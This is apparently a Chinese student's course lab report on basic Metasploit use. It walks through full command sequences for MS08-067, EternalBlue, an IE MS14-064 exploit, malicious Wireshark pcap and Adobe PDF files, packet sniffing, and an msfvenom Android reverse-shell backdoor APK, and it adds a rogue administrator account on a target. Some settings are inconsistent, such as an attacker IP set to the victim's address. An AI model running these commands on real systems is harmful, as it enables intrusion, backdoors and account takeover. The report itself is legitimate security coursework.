2019-2020-2 20175227张雪莹《网络对抗技术》Exp6 MSF基础应用
目录
- 基础知识
- 实验目标
- 实验内容
- 老师提问
- 用自己的话解释什么是exploit,payload,encode?
- 所遇到的问题及其解决方法
- 实验感想
- 参考资料
基础知识
MSF的渗透模块
- 进入MSF控制台后,用
show exploits
查看所有渗透模块,如下:
- 也可以进入
/usr/share/metasploit-framework/modules
查看模块源码目录,它们有6个:- 渗透攻击模块(Exploit Modules)
- 辅助模块(Auxiliary Modules)
- 攻击载荷(Payload Modules)
- 空字段模块(Nop Modules)
- 编码模块(Encoders)
- 后渗透攻击模块(Post)
三个用户操作界面
- MSF控制台:
msfconsole
- Armitage
- 启动服务器
service postgresql start
- 启动
armitagearmitage
- 启动服务器
- Web GUI
实验目标
- 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。
实验内容
先把后面需要用到的软件安装包放这里,需要的可以自取
主动攻击的实践
ms08_067
实验环境
- 攻击机:kali-linux-2020.1-vmware-amd64(192.168.1.17)
- 靶机:Windows XP Professional(192.168.1.21)
- 攻击软件:metasploit v5.0.85-dev
- 测试靶机是否存在此漏洞:
- 查看靶机OS版本信息,使用命令
nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.1.21
- 查看靶机OS版本信息,使用命令
- 可以看到靶机有这个漏洞
- 打开MSF控制台之后,用命令
search m08-067
查看漏洞的具体模块位置:
- 可以看到是
exploit/windows/smb/ms08_067_netapi
- 使用如下命令对靶机进行攻击:
use exploit/windows/smb/ms08_067_netapi //选择攻击模块
show payloads //查看攻击载荷
show options //查看配置信息 默认端口是445
show targets //查看可攻击的平台
set RHOST 192.168.1.21 //设置靶机IP,端口默认为445
set LPORT 5227 //成功后回连主机端口5227
set LHOST 192.168.1.17 //设置攻击机IP
set target 34 //这里为Windows XP SP3 Chinese - Simplified (NX)
exploit //发起渗透攻击
- 攻击成功!
ms17_010_eternalblue
实验环境
- 攻击机:kali-linux-2020.1-vmware-amd64(192.168.1.17)
- 靶机:Windows 7(192.168.1.19)因为该漏洞靶机只有win7所以就换了
- 攻击软件:metasploit v5.0.85-dev
过程跟前一个差不多,我这里简写了
- 步骤如下:
nmap -sS -A --script=smb-vuln-ms17-010 -PO 192.168.1.21
search ms17_010 platform:windows //搜索Win下的该漏洞所处模块
show payloads //显示可用载荷
set payload generic/shell_reverse_tcp
set RHOST 192.168.1.19 //设置靶机IP,端口默认为445
set LPORT 5227 //成功后回连主机端口5330
set LHOST 192.168.1.17 //设置攻击机IP
exploit //发起渗透攻击
- 攻击成功!
自己尝试创了一个文件夹并成功:
攻击浏览器的实践
ms17_010_eternalblue
实验环境
- 攻击机:kali-linux-2020.1-vmware-amd64(192.168.1.17)
- 靶机:Windows 7+IE 8(192.168.1.19)因为该漏洞靶机只有win7所以就换了
- 攻击软件:metasploit v5.0.85-dev
- 操作步骤:
use exploit/windows/smb/ms17_010_eternalblue //进入该模块
show payloads //显示可用载荷
set payload generic/shell_reverse_tcp
set RHOST 192.168.1.19 //设置靶机IP,端口默认为445
set LPORT 5227 //成功后回连主机端口
set LHOST 192.168.1.17 //设置攻击机IP
exploit //发起渗透攻击
- 在靶机浏览器输入
https://攻击机IP:监听端口
- 攻击成功!我创了一个
AttackSuccess
文件夹
ms14_064
实验环境
- 攻击机:kali-linux-2020.1-vmware-amd64(192.168.99.116)
- 靶机:Windows XP Professional +IE 8(192.168.99.227)
- 攻击软件:metasploit v5.0.85-dev
- 操作步骤:
search ms14_064 //搜索该漏洞存在的模块
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
info //查看漏洞相关信息(发现可攻击winXP和win7)
show payloads //显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set SRVHOST 192.168.99.116 //设置攻方IP
set LHOST 192.168.99.116
set LPORT 5227
exploit //发起攻击
- 将提示中第四行的URL输入至靶机IE浏览器中,之后可以看到已经成功建立了会话一:
- 输入
sessions -i 1
即可选择第一个会话,调用shell权限成功,ipconfig
后,我们确认靶机IP就是攻击目标192.168.99.227
- 我们在靶机上试着创一个新用户
net user //查看当前用户信息
net user zxy 1234 /add //添加用户名zxy,密码1234的账户
//进入C://WINDOWS/system32
net localgroup administrators zxy /add //对该账户进行提权
- 可以用该账户进行登录
攻击客户端的实践
wireshark
实验环境
- 攻击机:kali-linux-2020.1-vmware-amd64(192.168.1.17)
- 靶机:Windows XP Professional +Wireshark 1.4.0(192.168.1.21)
- 攻击软件:metasploit v5.0.85-dev
-
我们还可以通过刚刚那个渗透攻击,继续查看靶机桌面上有啥应用软件可以攻击,一看有个
Wireshark
,好的我们来看看Metasploit里面有没有相关攻击模块
-
/usr/share/metasploit-framework/modules/exploits/windows/fileformat
进入该目录,ls
查看——有针对Wireshark
的攻击,我们来试试
- search一下,我选用
exploit/windows/fileformat/wireshark_packet_dect
这个模块,info
查看一下详情
- 查看下我的XP的版本信息,没有标明是64位的,那应该是32位的。wiresharkz正好是1.4.2<1.4.4
- 接下来我们试着攻击一下
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
show options //查看设置项
set LHOST 192.168.1.17 //kali IP
set LPORT 5227 //设置攻击端口
set FILENAME zxy.pcap //设置生成的pcap文件名
exploit //发起攻击
- 将
/root/.msf4/local/
中的zxy.pcap
拷到靶机里面 - 在MSF控制台中
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set LHOST 192.168.1.17 //kali IP
set LPORT 5227 //设置攻击端口
exploit //监听
- 在靶机中打开该文件,发现Kali中成功获取了shell,攻击成功!
Adobe Reader
实验环境
- 攻击机:kali-linux-2020.1-vmware-amd64(192.168.1.17)
- 靶机:Windows XP Professional +Adobe Reader 9.3.0(192.168.1.21)
- 攻击软件:metasploit v5.0.85-dev
-
靶机是一个裸机,除了装了wireshark就没啥了,看了
/usr/share/metasploit-framework/modules/exploits/windows/fileformat
,还有针对Adobe的,那我就试一下吧 -
步骤
search adobe //进行查找adobe相关的攻击模块
use windows/fileformat/adobe_cooltype_sing //使用该漏洞
info //查看漏洞具体信息
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
show options //查看详细信息
set LPORT 5227 //设置端口号
set LHOST 192.168.1.21 //设置攻击机IP地址
exploit //攻击
back
退出当前模块
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 192.168.1.21 //设置攻击机IP地址
set LPORT 5227 //设置端口号
exploit //攻击
- 靶机中打开pdf文件,kali中可以发现攻击成功!
成功应用任何一个辅助模块
- 进入图中辅助模块文件夹,查看具体有哪些子模块,看见有一个sniffer(嗅探),我们在msfconsole中搜索一下
- 我们选用
auxiliary/sniffer/psnuffle
show options
查看设置项
SNAPLEN 65535
捕包长度是65535字节,是最大的了,协议项设的是全部,应该啥都可以捕到。其他就不用设置什么了。exploit
启动一下:
- XP中打开浏览器进入下百度,发现kali中都记录到了。
对Android进行攻击
实验环境
- 攻击机:kali-linux-2020.1-vmware-amd64(192.168.1.17)
- 靶机:Android 10(192.168.1.23)
- 攻击软件:metasploit v5.0.85-dev
-
在/usr/share/metasploit-framewok/mmodule里看到有针对安卓平台的,自己来尝试一把
-
在安卓手机中查看IP,一般在
网络高级设置
里
-
执行如下命令,生成后门程序APK文件:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.17 LPORT=443 > my_backdoor.apk
-
在MSF控制台中执行:
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.17
set lport 443
exploit
-
将生成的apk文件发给靶机,靶机进行安装后运行,其间靶机系统提示下图信息,忽略他继续安装
-
攻击成功!
老师提问
用自己的话解释什么是exploit,payload,encode?
- 回答:
- exploit:就是渗透攻击。这个模块下面有针对各种平台各种软件下的漏洞开发的渗透攻击子模块,用户可以调用某一个对靶机进行攻击。
- payload:就是载荷。比如一个后门,通过什么平台下的基于什么软件的连接方式,可以通过此项来设置。
- encode:就是一个编码器,把比如shellcode存在一些特征码,本来容易被靶机安全软件所察觉,用了这个编码器中的编码后就打乱了特征码,从而迷惑靶机。
所遇到的问题及其解决方法
无
(基本没遇到啥问题,攻击不成功通常都是漏洞和靶机系统或软件版本不匹配,注意查看攻击模块的靶机信息,换个匹配系统就好了。)
实验感想
- 通过做这次实验,发现其实漏洞的年限都比较久远了,所攻击的系统也很久远,XP,win7都停服了。但这并不意味着现在用的最新系统就没有漏洞就不会有人攻击,我自己还尝试着攻击了一下自己的安卓手机,发现安装后门的时候手机只会提示,并不会阻拦,手机轻轻松松就被人攻破了。这次实验收获是很大的。